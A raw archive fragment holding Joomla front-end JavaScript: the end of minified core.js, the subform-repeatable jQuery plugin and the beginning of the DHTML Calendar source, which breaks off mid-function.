a=t.responseText.trim(),i=[],s=a.length-1;s>=0;s--)i.unshift(["&#",a[s].charCodeAt(),";"].join(""));a=i.join(""),r.error=[e.JText._("JLIB_JS_AJAX_ERROR_PARSE").replace("%s",a)]}else"nocontent"===o?r.error=[e.JText._("JLIB_JS_AJAX_ERROR_NO_CONTENT")]:"timeout"===o?r.error=[e.JText._("JLIB_JS_AJAX_ERROR_TIMEOUT")]:"abort"===o?r.error=[e.JText._("JLIB_JS_AJAX_ERROR_CONNECTION_ABORT")]:t.responseJSON&&t.responseJSON.message?r.error=[e.JText._("JLIB_JS_AJAX_ERROR_OTHER").replace("%s",t.status)+" <em>"+t.responseJSON.message+"</em>"]:t.statusText?r.error=[e.JText._("JLIB_JS_AJAX_ERROR_OTHER").replace("%s",t.status)+" <em>"+t.statusText+"</em>"]:r.error=[e.JText._("JLIB_JS_AJAX_ERROR_OTHER").replace("%s",t.status)];return r},e.isChecked=function(e,o){if(void 0===o&&(o=t.getElementById("adminForm")),o.boxchecked.value=e?parseInt(o.boxchecked.value)+1:parseInt(o.boxchecked.value)-1,o.elements["checkall-toggle"]){var n,r,a,i=!0;for(n=0,a=o.elements.length;n<a;n++)if("checkbox"==(r=o.elements[n]).type&&"checkall-toggle"!=r.name&&!r.checked){i=!1;break}o.elements["checkall-toggle"].checked=i}},e.popupWindow=function(e,t,o,n,r){var a=(screen.width-o)/2,i="height="+n+",width="+o+",top="+(screen.height-n)/2+",left="+a+",scrollbars="+r+",resizable";window.open(e,t,i).window.focus()},e.tableOrdering=function(o,n,r,a){void 0===a&&(a=t.getElementById("adminForm")),a.filter_order.value=o,a.filter_order_Dir.value=n,e.submitform(r,a)},window.writeDynaList=function(e,o,n,r,a,i){console.warn("window.writeDynaList() is deprecated without a replacement!");for(var s=t.createElement("select"),l=e.split(" "),d=0;d<l.length;d++){var c=l[d].split("=");"on"!==c[0].trim().substr(0,2).toLowerCase()&&"href"!==c[0].trim().toLowerCase()&&s.setAttribute(c[0],c[1].replace(/\"/g,""))}var u,m,p,h=n==r;for(u=0;u<o.length;u++)if((p=o[u])[0]==n){m=h?a==p[1]:0===u;var f=t.createElement("option");f.setAttribute("value",p[1]),f.innerText=p[2],m&&f.setAttribute("selected","selected"),s.appendChild(f)}i?i.appendChild(s):t.body.appendChild(s)},window.changeDynaList=function(e,o,n,r,a){console.warn("window.changeDynaList() is deprecated without a replacement!");for(var i,s,l,d,c=t.adminForm[e],u=n==r;c.firstChild;)c.removeChild(c.firstChild);i=0;for(s in o)o.hasOwnProperty(s)&&(l=o[s])[0]==n&&((d=new Option).value=l[1],d.text=l[2],(u&&a==d.value||!u&&0===i)&&(d.selected=!0),c.options[i++]=d);c.length=i},window.radioGetCheckedValue=function(e){if(console.warn("window.radioGetCheckedValue() is deprecated without a replacement!"),!e)return"";var t,o=e.length;if(void 0===o)return e.checked?e.value:"";for(t=0;t<o;t++)if(e[t].checked)return e[t].value;return""},window.getSelectedValue=function(e,o){console.warn("window.getSelectedValue() is deprecated without a replacement!");var n=t[e][o],r=n.selectedIndex;return null!==r&&r>-1?n.options[r].value:null},window.listItemTask=function(t,o){return console.warn("window.listItemTask() is deprecated use Joomla.listItemTask() instead"),e.listItemTask(t,o)},e.listItemTask=function(e,o){var n,r=t.adminForm,a=0,i=r[e];if(!i)return!1;for(;n=r["cb"+a];)n.checked=!1,a++;return i.checked=!0,r.boxchecked.value=1,window.submitform(o),!1},window.submitbutton=function(t){console.warn("window.submitbutton() is deprecated use Joomla.submitbutton() instead"),e.submitbutton(t)},window.submitform=function(t){console.warn("window.submitform() is deprecated use Joomla.submitform() instead"),e.submitform(t)},window.saveorder=function(e,t){console.warn("window.saveorder() is deprecated without a replacement!"),window.checkAll_button(e,t)},window.checkAll_button=function(o,n){var r,a;for(console.warn("window.checkAll_button() is deprecated without a replacement!"),n=n||"saveorder",r=0;r<=o;r++){if(!(a=t.adminForm["cb"+r]))return void alert("You cannot change the order of items, as an item in the list is `Checked Out`");a.checked=!0}e.submitform(n)},e.loadingLayer=function(o,n){if(o=o||"show",n=n||t.body,"load"===o){var r=(e.getOptions("system.paths")||{}).root||"",a=t.createElement("div");a.id="loading-logo",a.style.position="fixed",a.style.top="0",a.style.left="0",a.style.width="100%",a.style.height="100%",a.style.opacity="0.8",a.style.filter="alpha(opacity=80)",a.style.overflow="hidden",a.style["z-index"]="10000",a.style.display="none",a.style["background-color"]="#fff",a.style["background-image"]='url("'+r+'/media/jui/images/ajax-loader.gif")',a.style["background-position"]="center",a.style["background-repeat"]="no-repeat",a.style["background-attachment"]="fixed",n.appendChild(a)}else t.getElementById("loading-logo")||e.loadingLayer("load",n),t.getElementById("loading-logo").style.display="show"==o?"block":"none";return t.getElementById("loading-logo")},e.extend=function(e,t){for(var o in t)t.hasOwnProperty(o)&&(e[o]=t[o]);return e},e.request=function(t){(t=e.extend({url:"",method:"GET",data:null,perform:!0},t)).method=t.data?"POST":t.method.toUpperCase();try{var o=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("MSXML2.XMLHTTP.3.0");if(o.open(t.method,t.url,!0),o.setRequestHeader("X-Requested-With","XMLHttpRequest"),o.setRequestHeader("X-Ajax-Engine","Joomla!"),"POST"===t.method){var n=e.getOptions("csrf.token","");n&&o.setRequestHeader("X-CSRF-Token",n),t.headers&&t.headers["Content-Type"]||o.setRequestHeader("Content-Type","application/x-www-form-urlencoded")}if(t.headers)for(var r in t.headers)t.headers.hasOwnProperty(r)&&o.setRequestHeader(r,t.headers[r]);if(o.onreadystatechange=function(){4===o.readyState&&(200===o.status?t.onSuccess&&t.onSuccess.call(window,o.responseText,o):t.onError&&t.onError.call(window,o))},t.perform){if(t.onBefore&&!1===t.onBefore.call(window,o))return o;o.send(t.data)}}catch(e){return window.console&&console.log(e),!1}return o}}(Joomla,document);
PK!$���VVjs/subform-repeatable.jsnu�[���(function($){"use strict";$.subformRepeatable=function(container,options){this.$container=$(container);var self=this;if(this.$container.data("subformRepeatable")){return self}this.$container.data("subformRepeatable",self);this.options=$.extend({},$.subformRepeatable.defaults,options);this.template="";this.prepareTemplate();this.$containerRows=this.options.rowsContainer?this.$container.find(this.options.rowsContainer):this.$container;this.lastRowNum=this.$containerRows.find(this.options.repeatableElement).length;this.$container.on("click",this.options.btAdd,function(e){e.preventDefault();var after=$(this).parents(self.options.repeatableElement);if(!after.length){after=null}self.addRow(after)});this.$container.on("click",this.options.btRemove,function(e){e.preventDefault();var $row=$(this).parents(self.options.repeatableElement);self.removeRow($row)});if(this.options.btMove){this.$containerRows.sortable({items:this.options.repeatableElement,handle:this.options.btMove,tolerance:"pointer"})}this.$container.trigger("subform-ready")};$.subformRepeatable.prototype.prepareTemplate=function(){if(this.options.rowTemplateSelector){var $tmplElement=this.$container.find(this.options.rowTemplateSelector).last();this.template=$.trim($tmplElement.html())||"";$tmplElement.css("display","none");var map={SUBFORMLT:"<",SUBFORMGT:">"};this.template=this.template.replace(/(SUBFORMLT)|(SUBFORMGT)/g,function(match){return map[match]})}else{var row=this.$container.find(this.options.repeatableElement).get(0),$row=$(row).clone();try{this.clearScripts($row)}catch(e){if(window.console){console.log(e)}}this.template=$row.prop("outerHTML")}};$.subformRepeatable.prototype.addRow=function(after){var count=this.$containerRows.find(this.options.repeatableElement).length;if(count>=this.options.maximum){return null}var row=$.parseHTML(this.template);if(after){$(after).after(row)}else{this.$containerRows.append(row)}var $row=$(row);$row.attr("data-new","true");this.fixUniqueAttributes($row,count);try{this.fixScripts($row)}catch(e){if(window.console){console.log(e)}}this.$container.trigger("subform-row-add",$row);return $row};$.subformRepeatable.prototype.removeRow=function($row){var count=this.$containerRows.find(this.options.repeatableElement).length;if(count<=this.options.minimum){return}this.$container.trigger("subform-row-remove",$row);$row.remove()};$.subformRepeatable.prototype.fixUniqueAttributes=function($row,_count,_group,_basename,isNested){var group=typeof _group==="undefined"?$row.attr("data-group"):_group,basename=typeof _basename==="undefined"?$row.attr("data-base-name"):_basename,count=typeof _count==="undefined"?0:_count,countnew=Math.max(this.lastRowNum,count),groupnew=basename+countnew;$row.attr("data-group",groupnew);var haveName=$row.find("[name]"),ids={};for(var i=0,l=haveName.length;i<l;i++){var $el=$(haveName[i]),name=$el.attr("name"),id=name.replace(/(\[\]$)/g,"").replace(/(\]\[)/g,"__").replace(/\[/g,"_").replace(/\]/g,""),nameNew=name.replace("["+group+"][","["+groupnew+"]["),idNew=id.replace(group,groupnew).replace(/\W/g,"_"),countMulti=0,forOldAttr=id;if($el.prop("type")==="checkbox"&&name.match(/\[\]$/)){countMulti=ids[id]?ids[id].length:0;if(!countMulti){$el.closest("fieldset.checkboxes").attr("id",idNew);$row.find('label[for="'+id+'"]').attr("for",idNew).attr("id",idNew+"-lbl")}forOldAttr=forOldAttr+countMulti;idNew=idNew+countMulti}else if($el.prop("type")==="radio"){countMulti=ids[id]?ids[id].length:0;if(!countMulti){$el.closest("fieldset.radio").attr("id",idNew);$row.find('label[for="'+id+'"]').attr("for",idNew).attr("id",idNew+"-lbl")}forOldAttr=forOldAttr+countMulti;idNew=idNew+countMulti}if(ids[id]){ids[id].push(true)}else{ids[id]=[true]}$el.attr("name",nameNew);$el.attr("id",idNew);$row.find('label[for="'+forOldAttr+'"]').attr("for",idNew).attr("id",idNew+"-lbl")}var nestedTemplates=$row.find(this.options.rowTemplateSelector);for(var j=0;j<nestedTemplates.length;j++){var nestedTemplate=$($(nestedTemplates[j]).prop("content"));this.fixUniqueAttributes(nestedTemplate,count,group,basename,true)}if(!isNested){this.lastRowNum=countnew+1}};$.subformRepeatable.prototype.clearScripts=function($row){if($.fn.chosen){$row.find("select.chzn-done").each(function(){var $el=$(this);$el.next(".chzn-container").remove();$el.show().addClass("fix-chosen")})}};$.subformRepeatable.prototype.fixScripts=function($row){$row.find('a[onclick*="jInsertFieldValue"]').each(function(){var $el=$(this),inputId=$el.siblings('input[type="text"]').attr("id"),$select=$el.prev(),oldHref=$select.attr("href");$el.attr("onclick","jInsertFieldValue('', '"+inputId+"');return false;");$select.attr("href",oldHref.replace(/&fieldid=(.+)&/,"&fieldid="+inputId+"&"))})};$.subformRepeatable.defaults={btAdd:".group-add",btRemove:".group-remove",btMove:".group-move",minimum:0,maximum:10,repeatableElement:".subform-repeatable-group",rowTemplateSelector:"template.subform-repeatable-template-section",rowsContainer:null};$.fn.subformRepeatable=function(options){return this.each(function(){var options=options||{},data=$(this).data();if(data.subformRepeatable){return}for(var p in data){if(data.hasOwnProperty(p)){options[p]=data[p]}}var inst=new $.subformRepeatable(this,options);$(this).data("subformRepeatable",inst)})};$(function($){initSubform();$(document).on("subform-row-add",initSubform);function initSubform(event,container){$(container||document).find("div.subform-repeatable").subformRepeatable()}})})(jQuery);
PK!1���js/calendar-uncompressed.jsnu�[���/*  Copyright Mihai Bazon, 2002-2005  |  www.bazon.net/mishoo
 * -----------------------------------------------------------
 *
 * The DHTML Calendar, version 1.0 "It is happening again"
 *
 * Details and latest version at:
 * www.dynarch.com/projects/calendar
 *
 * This script is developed by Dynarch.com.  Visit us at www.dynarch.com.
 *
 * This script is distributed under the GNU Lesser General Public License.
 * Read the entire license text here: http://www.gnu.org/licenses/lgpl.html
 */

/** The Calendar object constructor. */
Calendar = function (firstDayOfWeek, dateStr, onSelected, onClose) {
	// member variables
	this.activeDiv = null;
	this.currentDateEl = null;
	this.getDateStatus = null;
	this.getDateToolTip = null;
	this.getDateText = null;
	this.timeout = null;
	this.onSelected = onSelected || null;
	this.onClose = onClose || null;
	this.dragging = false;
	this.hidden = false;
	this.minYear = 1970;
	this.maxYear = 2050;
	this.dateFormat = Calendar._TT["DEF_DATE_FORMAT"];
	this.ttDateFormat = Calendar._TT["TT_DATE_FORMAT"];
	this.isPopup = true;
	this.weekNumbers = true;
	this.firstDayOfWeek = typeof firstDayOfWeek == "number" ? firstDayOfWeek : Calendar._FD; // 0 for Sunday, 1 for Monday, etc.
	this.showsOtherMonths = false;
	this.dateStr = dateStr;
	this.ar_days = null;
	this.showsTime = false;
	this.time24 = true;
	this.yearStep = 2;
	this.hiliteToday = true;
	this.multiple = null;
	// HTML elements
	this.table = null;
	this.element = null;
	this.tbody = null;
	this.firstdayname = null;
	// Combo boxes
	this.monthsCombo = null;
	this.yearsCombo = null;
	this.hilitedMonth = null;
	this.activeMonth = null;
	this.hilitedYear = null;
	this.activeYear = null;
	// Information
	this.dateClicked = false;

	// one-time initializations
	if (typeof Calendar._SDN == "undefined") {
		// table of short day names
		if (typeof Calendar._SDN_len == "undefined")
			Calendar._SDN_len = 3;
		var ar = new Array();
		for (var i = 8; i > 0;) {
			ar[--i] = Calendar._DN[i].substr(0, Calendar._SDN_len);
		}
		Calendar._SDN = ar;
		// table of short month names
		if (typeof Calendar._SMN_len == "undefined")
			Calendar._SMN_len = 3;
		ar = new Array();
		for (var i = 12; i > 0;) {
			ar[--i] = Calendar._MN[i].substr(0, Calendar._SMN_len);
		}
		Calendar._SMN = ar;
	}
};

// ** constants

/// "static", needed for event handlers.
Calendar._C = null;

/// detect a special case of "web browser"
Calendar.is_ie = ( /msie/i.test(navigator.userAgent) &&
		   !/opera/i.test(navigator.userAgent) );

Calendar.is_ie5 = ( Calendar.is_ie && /msie 5\.0/i.test(navigator.userAgent) );

/// detect Opera browser
Calendar.is_opera = /opera/i.test(navigator.userAgent);

/// detect KHTML-based browsers
Calendar.is_khtml = /Konqueror|Safari|KHTML/i.test(navigator.userAgent);

// BEGIN: UTILITY FUNCTIONS; beware that these might be moved into a separate
//        library, at some point.

Calendar.getAbsolutePos = function(el) {
	var SL = 0, ST = 0;
	var is_div = /^div$/i.test(el.tagName);
	if (is_div && el.scrollLeft)
		SL = el.scrollLeft;
	if (is_div && el.scrollTop)
		ST = el.scrollTop;
	var r = { x: el.offsetLeft - SL, y: el.offsetTop - ST };
	if (el.offsetParent) {
		var tmp = this.getAbsolutePos(el.offsetParent);
		r.x += tmp.x;
		r.y += tmp.y;
	}
	return r;
};

Calendar.isRelated = function (el, evt) {
	var related = evt.relatedTarget;
	if (!related) {
		var type = evt.type;
		if (type == "mouseover") {
			related = evt.fromElement;
		} else if (type == "mouseout") {
			related = evt.toElement;
		}
	}
	while (related) {
		if (related == el) {
			return true;
		}
		related = related.parentNode;
	}
	return false;
};

Calendar.removeClass = function(el, className) {
	if (!(el && el.className)) {
		return;
	}
	var cls = el.className.split(" ");
	var ar = new Array();
	for (var i = cls.length; i > 0;) {
		if (cls[--i] != className) {
			ar[ar.length] = cls[i];
		}
	}
	el.className = ar.join(" ");
};

Calendar.addClass = function(el, className) {
	Calendar.removeClass(el, className);
	el.className += " " + className;
};

// FIXME: the following 2 functions totally suck, are useless and should be replaced immediately.
Calendar.getElement = function(ev) {
	var f = Calendar.is_ie ? window.event.srcElement : ev.currentTarget;
	while (f.nodeType != 1 || /^div$/i.test(f.tagName))
		f = f.parentNode;
	return f;
};

Calendar.getTargetElement = function(ev) {
	var f = Calendar.is_ie ? window.event.srcElement : ev.target;
	while (f.nodeType != 1)
		f = f.parentNode;
	return f;
};

Calendar.stopEvent = function(ev) {
	ev || (ev = window.event);
	if (Calendar.is_ie) {
		ev.cancelBubble = true;
		ev.returnValue = false;
	} else {
		ev.preventDefault();
		ev.stopPropagation();
	}
	return false;
};

Calendar.addEvent = function(el, evname, func) {
	if (el.attachEvent) { // IE
		el.attachEvent("on" + evname, func);
	} else if (el.addEventListener) { // Gecko / W3C
		el.addEventListener(evname, func, true);
	} else {
		el["on" + evname] = func;
	}
};

Calendar.removeEvent = function(el, evname, func) {
	if (el.detachEvent) { // IE
		el.detachEvent("on" + evname, func);
	} else if (el.removeEventListener) { // Gecko / W3C
		el.removeEventListener(evname, func, true);
	} else {
		el["on" + evname] = null;
	}
};

Calendar.createElement = function(type, parent) {
	var el = null;
	if (document.createElementNS) {
		// use the XHTML namespace; IE won't normally get here unless
		// _they_ "fix" the DOM2 implementation.
		el = document.createElementNS("http://www.w3.org/1999/xhtml", type);
	} else {
		el = document.createElement(type);
	}
	if (typeof parent != "undefined") {
		parent.appendChild(el);
	}
	return el;
};

// END: UTILITY FUNCTIONS

// BEGIN: CALENDAR STATIC FUNCTIONS

/** Internal -- adds a set of events to make some element behave like a button. */
Calendar._add_evs = function(el) {
	with (Calendar) {
		addEvent(el, "mouseover", dayMouseOver);
		addEvent(el, "mousedown", dayMouseDown);
		addEvent(el, "mouseout", dayMouseOut);
		if (is_ie) {
			addEvent(el, "dblclick", dayMouseDblClick);
			el.setAttribute("unselectable", true);
		}
	}
};

Calendar.findMonth = function(el) {
	if (typeof el.month != "undefined") {
		return el;
	} else if (typeof el.parentNode.month != "undefined") {
		return el.parentNode;
	}
	return null;
};

Calendar.findYear = function(el) {
	if (typeof el.year != "undefined") {
		return el;
	} else if (typeof el.parentNode.year != "undefined") {
		return el.parentNode;
	}
	return null;
};

Calendar.showMonthsCombo = function () {
	var cal = Calendar._C;
	if (!cal) {
		return false;
	}
	var cal = cal;
	var cd = cal.activeDiv;
	var mc = cal.monthsCombo;
	if (cal.hilitedMonth) {
		Calendar.removeClass(cal.hilitedMonth, "hilite");
	}
	if (cal.activeMonth) {
		Calendar.removeClass(cal.activeMonth, "active");
	}
	var mon = cal.monthsCombo.getElementsByTagName("div")[cal.date.getMonth()];
	Calendar.addClass(mon, "active");
	cal.activeMonth = mon;
	var s = mc.style;
	s.display = "block";
	if (cd.navtype < 0)
		s.left = cd.offsetLeft + "px";
	else {
		var mcw = mc.offsetWidth;
		if (typeof mcw == "undefined")
			// Konqueror brain-dead techniques
			mcw = 50;
		s.left = (cd.offsetLeft + cd.offsetWidth - mcw) + "px";
	}
	s.top = (cd.offsetTop + cd.offsetHeight) + "px";
};

Calendar.showYearsCombo = function (fwd) {
	var cal = Calendar._C;
	if (!cal) {
		return false;
	}
	var cal = cal;
	var cd = cal.activeDiv;
	var yc = cal.yearsCombo;
	if (cal.hilitedYear) {
		Calendar.removeClass(cal.hilitedYear, "hilite");
	}
	if (cal.activeYear) {
		Calendar.removeClass(cal.activeYear, "active");
	}
	cal.activeYear = null;
	var Y = cal.date.getFullYear() + (fwd ? 1 : -1);
	var yr = yc.firstChild;
	var show = false;
	for (var i = 12; i > 0; --i) {
		if (Y >= cal.minYear && Y <= cal.maxYear) {
			yr.innerHTML = Y;
			yr.year = Y;
			yr.style.display = "block";
			show = true;
		} else {
			yr.style.display = "none";
		}
		yr = yr.nextSibling;
		Y += fwd ? cal.yearStep : -cal.yearStep;
	}
	if (show) {
		var s = yc.style;
		s.display = "block";
		if (cd.navtype < 0)
			s.left = cd.offsetLeft + "px";
		else {
			var ycw = yc.offsetWidth;
			if (typeof ycw == "undefined")
				// Konqueror brain-dead techniques
				ycw = 50;
			s.left = (cd.offsetLeft + cd.offsetWidth - ycw) + "px";
		}
		s.top = (cd.offsetTop + cd.offsetHeight) + "px";
	}
};

// event handlers

Calendar.tableMouseUp = function(ev) {
	var cal = Calendar._C;
	if (!cal) {
		return false;
	}
	if (cal.timeout) {
		clearTimeout(cal.timeout);
	}
	var el = cal.activeDiv;
	if (!el) {
		return false;
	}
	var target = Calendar.getTargetElement(ev);
	ev || (ev = window.event);
	Calendar.removeClass(el, "active");
	if (target == el || target.parentNode == el) {
		Calendar.cellClick(el, ev);
	}
	var mon = Calendar.findMonth(target);
	var date = null;
	if (mon) {
		date = new Date(cal.date);
		if (mon.month != date.getMonth()) {
			date.setMonth(mon.month);
			cal.setDate(date);
			cal.dateClicked = false;
			cal.callHandler();
		}
	} else {
		var year = Calendar.findYear(target);
		if (year) {
			date = new Date(cal.date);
			if (year.year != date.getFullYear()) {
				date.setFullYear(year.year);
				cal.setDate(date);
				cal.dateClicked = false;
				cal.callHandler();
			}
		}
	}
	with (Calendar) {
		removeEvent(document, "mouseup", tableMouseUp);
		removeEvent(document, "mouseover", tableMouseOver);
		removeEvent(document, "mousemove", tableMouseOver);
		cal._hideCombos();
		_C = null;
		return stopEvent(ev);
	}
};

Calendar.tableMouseOver = function (ev) {
	var cal = Calendar._C;
	if (!cal) {
		return;
	}
	var el = cal.activeDiv;
	var target = Calendar.getTargetElement(ev);
	if (target == el || target.parentNode == el) {
		Calendar.addClass(el, "hilite active");
		Calendar.addClass(el.parentNode, "rowhilite");
	} else {
		if (typeof el.navtype == "undefined" || (el.navtype != 50 && (el.navtype == 0 || Math.abs(el.navtype) > 2)))
			Calendar.removeClass(el, "active");
		Calendar.removeClass(el, "hilite");
		Calendar.removeClass(el.parentNode, "rowhilite");
	}
	ev || (ev = window.event);
	if (el.navtype == 50 && target != el) {
		var pos = Calendar.getAbsolutePos(el);
		var w = el.offsetWidth;
		var x = ev.clientX;
		var dx;
		var decrease = true;
		if (x > pos.x + w) {
			dx = x - pos.x - w;
			decrease = false;
		} else
			dx = pos.x - x;

		if (dx < 0) dx = 0;
		var range = el._range;
		var current = el._current;
		var count = Math.floor(dx / 10) % range.length;
		for (var i = range.length; --i >= 0;)
			if (range[i] == current)
				break;
		while (count-- > 0)
			if (decrease) {
				if (--i < 0)
					i = range.length - 1;
			} else if ( ++i >= range.length )
				i = 0;
		var newval = range[i];
		el.innerHTML = newval;

		cal.onUpdateTime();
	}
	var mon = Calendar.findMonth(target);
	if (mon) {
		if (mon.month != cal.date.getMonth()) {
			if (cal.hilitedMonth) {
				Calendar.removeClass(cal.hilitedMonth, "hilite");
			}
			Calendar.addClass(mon, "hilite");
			cal.hilitedMonth = mon;
		} else if (cal.hilitedMonth) {
			Calendar.removeClass(cal.hilitedMonth, "hilite");
		}
	} else {
		if (cal.hilitedMonth) {
			Calendar.removeClass(cal.hilitedMonth, "hilite");
		}
		var year = Calendar.findYear(target);
		if (year) {
			if (year.year != cal.date.getFullYear()) {
				if (cal.hilitedYear) {
					Calendar.removeClass(cal.hilitedYear, "hilite");
				}
				Calendar.addClass(year, "hilite");
				cal.hilitedYear = year;
			} else if (cal.hilitedYear) {
				Calendar.removeClass(cal.hilitedYear, "hilite");
			}
		} else if (cal.hilitedYear) {
			Calendar.removeClass(cal.hilitedYear, "hilite");
		}
	}
	return Calendar.stopEvent(ev);
};

Calendar.tableMouseDown = function (ev) {
	if (Calendar.getTargetElement(ev) == Calendar.getElement(ev)) {
		return Calendar.stopEvent(ev);
	}
};

Calendar.calDragIt = function (ev) {
	var cal = Calendar._C;
	if (!(cal && cal.dragging)) {
		return false;
	}
	var posX;
	var posY;
	if (Calendar.is_ie) {
		posY = window.event.clientY + document.body.scrollTop;
		posX = window.event.clientX + document.body.scrollLeft;
	} else {
		posX = ev.pageX;
		posY = ev.pageY;
	}
	cal.hideShowCovered();
	var st = cal.element.style;
	st.left = (posX - cal.xOffs) + "px";
	st.top = (posY - cal.yOffs) + "px";
	return Calendar.stopEvent(ev);
};

Calendar.calDragEnd = function (ev) {
	var cal = Calendar._C;
	if (!cal) {
		return false;
	}
	cal.dragging = false;
	with (Calendar) {
		removeEvent(document, "mousemove", calDragIt);
		removeEvent(document, "mouseup", calDragEnd);
		tableMouseUp(ev);
	}
	cal.hideShowCovered();
};

Calendar.dayMouseDown = function(ev) {
	var el = Calendar.getElement(ev);
	if (el.disabled) {
		return false;
	}
	var cal = el.calendar;
	cal.activeDiv = el;
	Calendar._C = cal;
	if (el.navtype != 300) with (Calendar) {
		if (el.navtype == 50) {
			el._current = el.innerHTML;
			addEvent(document, "mousemove", tableMouseOver);
		} else
			addEvent(document, Calendar.is_ie5 ? "mousemove" : "mouseover", tableMouseOver);
		addClass(el, "hilite active");
		addEvent(document, "mouseup", tableMouseUp);
	} else if (cal.isPopup) {
		cal._dragStart(ev);
	}
	if (el.navtype == -1 || el.navtype == 1) {
		if (cal.timeout) clearTimeout(cal.timeout);
		cal.timeout = setTimeout("Calendar.showMonthsCombo()", 250);
	} else if (el.navtype == -2 || el.navtype == 2) {
		if (cal.timeout) clearTimeout(cal.timeout);
		cal.timeout = setTimeout((el.navtype > 0) ? "Calendar.showYearsCombo(true)" : "Calendar.showYearsCombo(false)", 250);
	} else {
		cal.timeout = null;
	}
	return Calendar.stopEvent(ev);
};

Calendar.dayMouseDblClick = function(ev) {
	Calendar.cellClick(Calendar.getElement(ev), ev || window.event);
	if (Calendar.is_ie) {
		document.selection.empty();
	}
};

Calendar.dayMouseOver = function(ev) {
	var el = Calendar.getElement(ev);
	if (Calendar.isRelated(el, ev) || Calendar._C || el.disabled) {
		return false;
	}
	if (el.ttip) {
		if (el.ttip.substr(0, 1) == "_") {
			el.ttip = el.caldate.print(el.calendar.ttDateFormat) + el.ttip.substr(1);
		}
		el.calendar.tooltips.innerHTML = el.ttip;
	}
	if (el.navtype != 300) {
		Calendar.addClass(el, "hilite");
		if (el.caldate) {
			Calendar.addClass(el.parentNode, "rowhilite");
			var cal = el.calendar;
			if (cal && cal.getDateToolTip) {
				var d = el.caldate;
				window.status = d;
				el.title = cal.getDateToolTip(d, d.getFullYear(), d.getMonth(), d.getDate());
			}
		}
	}
	return Calendar.stopEvent(ev);
};

Calendar.dayMouseOut = function(ev) {
	with (Calendar) {
		var el = getElement(ev);
		if (isRelated(el, ev) || _C || el.disabled)
			return false;
		removeClass(el, "hilite");
		if (el.caldate)
			removeClass(el.parentNode, "rowhilite");
		if (el.calendar)
			el.calendar.tooltips.innerHTML = _TT["SEL_DATE"];
		// return stopEvent(ev);
	}
};

/**
 *  A generic "click" handler :) handles all types of buttons defined in this
 *  calendar.
 */
Calendar.cellClick = function(el, ev) {
	var cal = el.calendar;
	var closing = false;
	var newdate = false;
	var date = null;
	if (typeof el.navtype == "undefined") {
		if (cal.currentDateEl) {
			Calendar.removeClass(cal.currentDateEl, "selected");
			Calendar.addClass(el, "selected");
			closing = (cal.currentDateEl == el);
			if (!closing) {
				cal.currentDateEl = el;
			}
		}
		cal.date.setDateOnly(el.caldate);
		date = cal.date;
		var other_month = !(cal.dateClicked = !el.otherMonth);
		if (!other_month && !cal.currentDateEl && cal.multiple)
			cal._toggleMultipleDate(new Date(date));
		else
			newdate = !el.disabled;
		// a date was clicked
		if (other_month)
			cal._init(cal.firstDayOfWeek, date);
	} else {
		if (el.navtype == 200) {
			Calendar.removeClass(el, "hilite");
			cal.callCloseHandler();
			return;
		}
		date = new Date(cal.date);
		if (el.navtype == 0)
			date.setDateOnly(new Date()); // TODAY
		// unless "today" was clicked, we assume no date was clicked so
		// the selected handler will know not to close the calenar when
		// in single-click mode.
		// cal.dateClicked = (el.navtype == 0);
		cal.dateClicked = false;
		var year = date.getFullYear();
		var mon = date.getMonth();
		function setMonth(m) {
			var day = date.getDate();
			var max = date.getMonthDays(m);
			if (day > max) {
				date.setDate(max);
			}
			date.setMonth(m);
		};
		switch (el.navtype) {
		    case 400:
			Calendar.removeClass(el, "hilite");
			var text = Calendar._TT["ABOUT"];
			if (typeof text != "undefined") {
				text += cal.showsTime ? Calendar._TT["ABOUT_TIME"] : "";
			} else {
				// FIXME: this should be removed as soon as lang files get updated!
				text = "Help and about box text is not translated into this language.\n" +
					"If you know this language and you feel generous please update\n" +
					"the corresponding file in \"lang\" subdir to match calendar-en.js\n" +
					"and send it back to <mihai_bazon@yahoo.com> to get it into the distribution  ;-)\n\n" +
					"Thank you!\n" +
					"http://dynarch.com/mishoo/calendar.epl\n";
			}
			alert(text);
			return;
		    case -2:
			if (year > cal.minYear) {
				date.setFullYear(year - 1);
			}
			break;
		    case -1:
			if (mon > 0) {
				setMonth(mon - 1);
			} else if (year-- > cal.minYear) {
				date.setFullYear(year);
				setMonth(11);
			}
			break;
		    case 1:
			if (mon < 11) {
				setMonth(mon + 1);
			} else if (year < cal.maxYear) {
				date.setFullYear(year + 1);
				setMonth(0);
			}
			break;
		    case 2:
			if (year < cal.maxYear) {
				date.setFullYear(year + 1);
			}
			break;
		    case 100:
			cal.setFirstDayOfWeek(el.fdow);
			return;
		    case 50:
			var range = el._range;
			var current = el.innerHTML;
			for (var i = range.length; --i >= 0;)
				if (range[i] == current)
					break;
			if (ev && ev.shiftKey) {
				if (--i < 0)
					i = range.length - 1;
			} else if ( ++i >= range.length )
				i = 0;
			var newval = range[i];
			el.innerHTML = newval;
			cal.onUpdateTime();
			return;
		    case 0:
			// TODAY will bring us here
			if ((typeof cal.getDateStatus == "function") &&
			    cal.getDateStatus(date, date.getFullYear(), date.getMonth(), date.getDate())) {
				return false;
			}
			break;
		}
		if (!date.equalsTo(cal.date)) {
			cal.setDate(date);
			newdate = true;
		} else if (el.navtype == 0)
			newdate = closing = true;
	}
	if (newdate) {
		ev && cal.callHandler();
	}
	if (closing) {
		Calendar.removeClass(el, "hilite");
		ev && cal.callCloseHandler();
	}
};

// END: CALENDAR STATIC FUNCTIONS

// BEGIN: CALENDAR OBJECT FUNCTIONS

/**
 *  This function creates the calendar inside the given parent.  If _par is
 *  null than it creates a popup calendar inside the BODY element.  If _par is
 *  an element, be it BODY, then it creates a non-popup calendar (still
 *  hidden).  Some properties need to be set before calling this function.
 */
Calendar.prototype.create = function (_par) {
	var parent = null;
	if (! _par) {
		// default parent is the document body, in which case we create
		// a popup calendar.
		parent = document.getElementsByTagName("body")[0];
		this.isPopup = true;
	} else {
		parent = _par;
		this.isPopup = false;
	}
	this.date = this.dateStr ? new Date(this.dateStr) : new Date();

	var table = Calendar.createElement("table");
	this.table = table;
	table.cellSpacing = 0;
	table.cellPadding = 0;
	table.calendar = this;
	Calendar.addEvent(table, "mousedown", Calendar.tableMouseDown);

	var div = Calendar.createElement("div");
	this.element = div;
	div.className = "calendar";
	if (this.isPopup) {
		div.style.position = "absolute";
		div.style.display = "none";
	}
	div.appendChild(table);

	var thead = Calendar.createElement("thead", table);
	var cell = null;
	var row = null;

	var cal = this;
	var hh = function (text, cs, navtype) {
		cell = Calendar.createElement("td", row);
